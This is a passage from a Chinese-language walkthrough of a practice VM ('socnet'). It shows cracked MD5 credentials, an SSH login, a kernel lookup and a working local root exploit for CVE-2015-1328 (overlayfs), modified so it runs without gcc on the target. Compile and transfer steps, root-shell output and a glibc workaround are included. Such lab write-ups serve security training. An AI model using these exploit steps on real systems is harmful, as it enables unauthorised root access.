127.0.0.1:1080 ... 172.17.0.2:9200 ... OK uid=0(root) gid=0(root) groups=0(root) ~$
-
並且發現了一個passwords文件,查看文件得到一些賬號密碼使用
md5
進行解密【網絡上一般有在線解密MD5的網站】,並將其解碼得到密碼,其中只有john:1337hack
可以用於登錄john:1337hack; test:1234test; admin:1111pass; root:1234pass; jane:1234jane
攻入真正目標
使用得到的 john:1337hack
登錄 192.168.56.102
查看是否有 root 權限發現沒有,需要進行提權
john@socnet:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)
探索一下目標上的信息 uname -a
發現其版本 Linux socnet 3.13.0-24-generic 通過 searchsploit 查詢相關內核漏洞
john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
可以嘗試的內核漏洞
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c
-
嘗試
linux/local/37292.c
漏洞查看一下,發現其中存在依賴/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
我們需要去除依賴gcc部分因為目標上沒有 gccfprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); /* lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } */ write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); }
-
在本地編譯
gcc -o exp 37292.c
並將/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
與 編譯後的exp
一起發送到目標,可以使用ssh
發送或 Python HTTP 服務結合wget
發送;如果方法不熟悉建議練習後嘗試 -
為
exp
與ofs-lib.so
增加可執行權限,將ofs-lib.so
移動到靶機\tmp
目錄,並執行./exp
即可得到 root 權限john@socnet:~$ ./exp spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created # id uid=0(root) gid=0(root) groups=0(root),1001(john) #
如果出現下面錯誤,是你 kali 上編譯時的 /lib/x86_64-linux-gnu/libc.so.6
動態庫高於靶機的
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
解決方法是在靶機中使用 ldd --version
命令確定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然後去相關官網搜索 2.19-0ubuntu6
下載其對應版本的庫文件,此靶機適用的版本 //launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下載解壓,在其中的 /lib/x86_64-linux-gnu/libc.so.6 確認其存在,編譯 C 時使用 gcc 參數 -Ldir
指定上面的 libc.so.6 的路徑,解決的編譯命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.